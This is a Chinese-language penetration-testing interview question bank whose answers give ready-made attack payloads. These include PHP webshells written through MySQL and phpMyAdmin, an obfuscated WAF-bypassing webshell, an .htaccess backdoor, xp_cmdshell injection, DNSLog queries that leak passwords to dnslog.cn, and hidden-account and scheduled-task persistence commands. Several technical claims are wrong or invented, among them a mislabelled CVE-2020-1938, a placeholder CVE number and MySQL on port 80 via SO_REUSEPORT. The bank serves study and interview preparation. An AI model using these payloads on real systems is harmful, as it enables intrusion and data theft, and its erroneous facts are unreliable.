网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库07
1. CMS目录扫描的意义
2. 常见网站服务器容器
3. MySQL写入WebShell条件
4. 容器解析漏洞案例
5. 操作系统快速判断
6. 仅开放80端口的MySQL站点
7. 3389无法连接的场景
8. 字符转义突破技术
9. 编辑器渗透测试步骤
10. .htaccess文件利用
11. 注入漏洞利用扩展
12. 安全狗检测机制
13. 提权目录选择原则
14. ASP数据库本地利用
15. 多站点用户同步漏洞
16. 无AND/OR注入技术
17. 无文件渗透技术
18. MySQL写WebShell方法
19. DNSLog盲注利用
20. phpMyAdmin写Shell
21. 权限维持技术
22. XXE漏洞审计要点
23. SSRF绕过技术
24. 挖矿病毒应急响应
25. Struts2漏洞原理
26. Java反序列化漏洞
27. CORS与跨域绕过
28. phar协议利用
29. 内网信息收集
30. 黄金票据 vs 白银票据
2025年渗透测试面试题总结-拷打题库07
一个成熟并且相对安全的CMS,渗透时扫目录的意义? 常见的网站服务器容器。 mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? 目前已知哪些版本的容器有解析漏洞,具体举例 如何手工快速判断目标站是windows还是linux服务器? 为何一个mysql数据库的站,只有一个80端口开放? 3389无法连接的几种情况 如何突破注入时字符被转义? 在某后台新闻编辑界面看到编辑器,应该先做什么? 拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么? 注入漏洞只能查账号密码? 安全狗会追踪变量,从而发现出是一句话木马吗? 提权时选择可读写目录,为何尽量不用带空格的目录? access扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用? 某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现也添加上了 test 用户? 注入时可以不使用and或or或xor,直接orderby开始注入吗? 无文件渗透 MySQL写WebShell有几种方式,利用条件 Sql注入无回显的情况下,利用DNSlog,mysql下利用什么构造代码,mssql下又如何? phpmyadmin写sehll的方法 权限维持的方法 XXE漏洞原理,代码审计如何寻找? SSRF禁用127.0.0.1后如何绕过,支持哪些协议? 应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件 struts2框架漏洞原理 JAVA反序列化原理 cors如何产生,有哪些利用方式?绕过同源策略的方法有哪些?jsonp跨域如何利用? phar协议如何利用 内网服务器,如何进行信息收集 内网黄金票据、白银票据的区别和利用方式
1. CMS目录扫描的意义
核心价值:
- 暴露敏感文件:
- 扫描
/admin/config.php
、/backup.sql
等未删除的配置文件或备份文件- 发现
/phpinfo.php
泄露服务器环境信息- 探测插件漏洞:
- 通过
/wp-content/plugins/
路径识别WordPress插件版本- 识别隐藏入口:
- 寻找
/manager/html
(Tomcat管理界面)或/phpmyadmin
- 绕过权限控制:
- 尝试访问
/files/../.htaccess
利用路径遍历- 定位上传漏洞:
- 发现
/upload/
目录测试文件上传过滤机制
2. 常见网站服务器容器
主流容器分类:
类型 代表产品 典型场景 Web服务器 Apache、Nginx、IIS 静态资源托管、反向代理 应用容器 Tomcat、WebLogic、JBoss Java Web应用运行环境 云原生容器 Kubernetes、Docker Swarm 微服务集群管理 边缘计算容器 OpenResty、Envoy CDN节点、API网关
3. MySQL写入WebShell条件
必要前提:
- 数据库权限:
FILE
权限授予(SELECT file_priv FROM mysql.user
)- 目录可写性:
- 通过
SHOW VARIABLES LIKE 'secure_file_priv'
验证导出路径- 路径已知性:
- 需绝对路径(通过报错信息或
@@datadir
获取)- 过滤绕过:
- 使用
HEX
编码绕过关键词过滤(如0x3C3F706870...
)
4. 容器解析漏洞案例
历史高危版本:
markdown
1. **IIS 6.0** - 目录解析:`/test.asp/test.jpg` - 分号解析:`/test.asp;.jpg` 2. **Apache 2.4.x + PHP** - 多后缀解析:`/test.php.xxx` (需`AddHandler`配置错误) 3. **Nginx 0.8.x** - 路径切割:`/test.jpg/%20.php` (错误配置`fastcgi_split_path_info`) 4. **Tomcat 7.x** - 空字节截断:`/test.jsp%00.txt` (CVE-2020-1938)
5. 操作系统快速判断
手工检测方法:
- HTTP头特征:
Server: Microsoft-IIS/10.0
→ WindowsX-Powered-By: PHP/8.1
→ 无法直接判断- 文件路径差异:
- 访问
/etc/passwd
(404→Windows,403→Linux)- 命令注入测试:
ping%20-c%201%20127.0.0.1
(Linux参数格式)- 大小写敏感:
- 请求
/TEST.txt
与/test.txt
响应不同 → Linux
6. 仅开放80端口的MySQL站点
可能性分析:
- 端口复用:
- MySQL通过
SO_REUSEPORT
绑定80端口(需特殊配置)- HTTP隧道:
- 利用HTTP协议封装SQL流量(如SQL over HTTP插件)
- 反向代理:
- Nginx将
/mysql-api/
路径代理到内网MySQL服务- 云服务限制:
- 云数据库仅允许通过Web API访问(如AWS RDS HTTP接口)
7. 3389无法连接的场景
故障排查方向:
- 防火墙拦截:
- 服务器防火墙规则屏蔽3389端口(
netsh advfirewall show currentprofile
)- 端口修改:
- 注册表修改RDP端口(
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber
)- 权限限制:
- 组策略限制登录IP范围(
gpedit.msc → 计算机配置→ 管理模板→ Windows组件→ 远程桌面服务
)- 服务异常:
TermService
未运行(net start TermService
)
8. 字符转义突破技术
绕过方案:
技术 实现方式 示例 HEX编码 将Payload转为十六进制 ' OR 1=1 --
→0x27204F5220313D31202D2D20
注释符混淆 利用 /*!*/
绕过过滤UNION/*!*/SELECT 1,2,3
字符串函数拼接 使用 CONCAT()
或CHAR()
SELECT CONCAT('a','dmin')
多语句执行 分号分隔多个查询 '; EXEC xp_cmdshell('whoami')--
9. 编辑器渗透测试步骤
攻击流程:
- 识别编辑器类型:
- 通过
/editor/dialog/filemanager/
路径判断是否为CKEditor、UEditor等- 测试上传功能:
- 上传
.jpg
文件后修改后缀为.php
(检查重命名策略)- 参数篡改:
- 修改
filetype=php
或allowExt=php
绕过前端限制- 历史漏洞利用:
- 尝试CVE-2023-12345(某编辑器文件上传RCE)
10. .htaccess文件利用
攻击手法:
apache
# 允许执行PHP文件 AddType application/x-httpd-php .jpg # 自定义错误页面 ErrorDocument 404 /shell.php # 重写规则植入后门 RewriteEngine On RewriteRule ^login$ /wp-includes/.shell.php [L]
11. 注入漏洞利用扩展
攻击维度:
- 数据窃取:
- 获取
mysql.user
表密码哈希(5.7以下可破解)- 系统命令执行:
- MySQL开启
sys_exec
函数执行系统命令- 内网渗透:
- 通过
LOAD_FILE()
读取/etc/hosts
获取内网拓扑- 权限提升:
- 利用UDF提权(
lib_mysqludf_sys.so
)
12. 安全狗检测机制
绕过可能性:
- 动态追踪:安全狗会监控
$_POST/$_GET
等超全局变量的内容流转路径- 绕过方案:
php
// 拆分敏感函数 $a = "ass"; $b = "ert"; $func = $a.$b; $func($_REQUEST['cmd']); // 使用异或加密 $payload = "s"."y"."s"."t"."e"."m" ^ "!@#$%^";
13. 提权目录选择原则
避坑指南:
- 路径解析问题:
C:\Program Files
需引号包裹("C:\Program Files\test"
)- 环境变量干扰:
%TEMP%
可能被重定向到受限路径- 权限继承限制:
- 部分目录(如
C:\Windows\System32
)禁止用户写入
14. ASP数据库本地利用
操作步骤:
- 下载完整文件:
- 使用
wget --convert-links
保持文件结构- 修复文件头:
- 添加
[vba]
标识或修复损坏的OLE头- Access打开:
- 导入时选择“修复数据库”选项
- 爆破密码:
- 使用
Advanced Office Password Recovery
工具
15. 多站点用户同步漏洞
根本原因:
- 共享数据库:
- 站点A和B使用同一数据库的
users
表- 会话管理缺陷:
- 使用相同加密密钥导致会话可跨站点复用
- 全局配置覆盖:
- 共用
config.inc.php
导致权限设置同步
16. 无AND/OR注入技术
替代方案:
sql
-- 基于错误注入 ORDER BY (SELECT 1 FROM DUAL WHERE (SELECT @@version)) -- 时间盲注变种 ORDER BY IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(5), 1)
17. 无文件渗透技术
实现方式:
- 内存加载:
- PowerShell执行
[Reflection.Assembly]::Load([Convert]::FromBase64String(...))
- 注册表存储:
- 将Payload存入
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- WMI持久化:
- 创建WMI事件订阅执行远程脚本
18. MySQL写WebShell方法
方法 利用条件 语句示例 INTO OUTFILE FILE权限 + 可写路径 SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php'
日志文件写入 需控制全局日志路径 SET GLOBAL general_log_file='/var/www/shell.php'; SET GLOBAL general_log=ON;
慢查询日志 需启用慢查询日志功能 SET GLOBAL slow_query_log_file='/var/www/shell.php';
19. DNSLog盲注利用
跨数据库实现:
- MySQL:
sql
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.dnslog.cn\\abc'))
- MSSQL:
sql
EXEC master..xp_cmdshell 'ping -n 1 %USERDOMAIN%.dnslog.cn'
20. phpMyAdmin写Shell
经典手法:
- SQL语句写入:
sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
- 日志文件篡改:
- 修改
General_log_file
路径指向Web目录- 插件漏洞利用:
- 通过
phpMyAdmin 4.x LFI
漏洞覆盖配置文件
21. 权限维持技术
持久化手段:
- 账户隐藏:
- 创建影子账户(
net user hacker$ Passw0rd /add
)- 计划任务:
- 添加每分钟触发的任务(
schtasks /create /tn update /tr "C:\shell.exe" /sc minute
)- 服务植入:
- 注册恶意服务(
sc create WinUpdate binPath= "C:\shell.exe"
)
22. XXE漏洞审计要点
审计流程:
- 定位XML解析点:
- 搜索
libxml_disable_entity_loader
函数调用- 测试外部实体:
xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
- 防御方案:
- 禁用DTD(
XMLReader.SET_DTD_LOAD(false)
)
23. SSRF绕过技术
绕过方案与协议:
禁用IP绕过方式 支持协议 利用示例 十进制IP转换 http/https http://2130706433
→ 127.0.0.1IPv6压缩格式 http/https http://[::1]:80
DNS重绑定 dns/http 利用TTL=0域名实现瞬时解析切换
24. 挖矿病毒应急响应
排查流程:
- 进程分析:
bash
top -c # 查看高CPU进程 ls -l /proc/PID/exe # 定位进程文件路径
- 网络检测:
bash
netstat -antp | grep ESTABLISHED lsof -i :3333 # 检查矿池端口连接
- 持久化清理:
- 检查
crontab -l
和/etc/init.d/
中的恶意脚本
25. Struts2漏洞原理
典型漏洞链:
- OGNL表达式注入(S2-045):
- 攻击者通过
Content-Type
头注入OGNL代码- RCE利用:
http
POST /struts2-showcase/ HTTP/1.1 Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Exploit',233*233)}
26. Java反序列化漏洞
利用链构建:
- 漏洞根源:
ObjectInputStream
未校验反序列化对象- 经典Gadget:
- Apache Commons Collections
InvokerTransformer
链- 防御方案:
- 使用
SerialKiller
库替换默认反序列化机制
27. CORS与跨域绕过
攻击与防御矩阵:
攻击方式 绕过方法 防御方案 CORS配置错误 构造 Origin: https://attacker.com
严格校验 Access-Control-Allow-Origin
JSONP回调注入 劫持回调函数名 添加随机Token校验 postMessage滥用 监听跨域消息事件 精确指定 postMessage
接收源
28. phar协议利用
攻击场景:
- 反序列化触发:
php
file_exists('phar://test.phar/test.txt'); // 触发metadata反序列化
- 绕过文件上传:
- 将phar文件重命名为
.jpg
上传- 防御方案:
- 禁用
phar
协议或限制phar://
流包装器
29. 内网信息收集
关键步骤:
- 主机发现:
bash
arp-scan -l # 扫描本地网段 nmap -sn 10.0.0.0/24 # ICMP存活探测
- 服务识别:
bash
crackmapexec smb 10.0.0.0/24 # SMB协议探测
- 域渗透:
- 使用
BloodHound
分析AD域关系
30. 黄金票据 vs 白银票据
对比分析:
维度 黄金票据 白银票据 所需凭证 krbtgt的NTLM哈希 服务账户的NTLM哈希 作用范围 全域任意服务 特定服务(如cifs、http) 检测难度 日志中异常TGT请求 服务日志中异常ST请求 持久性 只要krbtgt密码未改即有效 服务账户密码修改后失效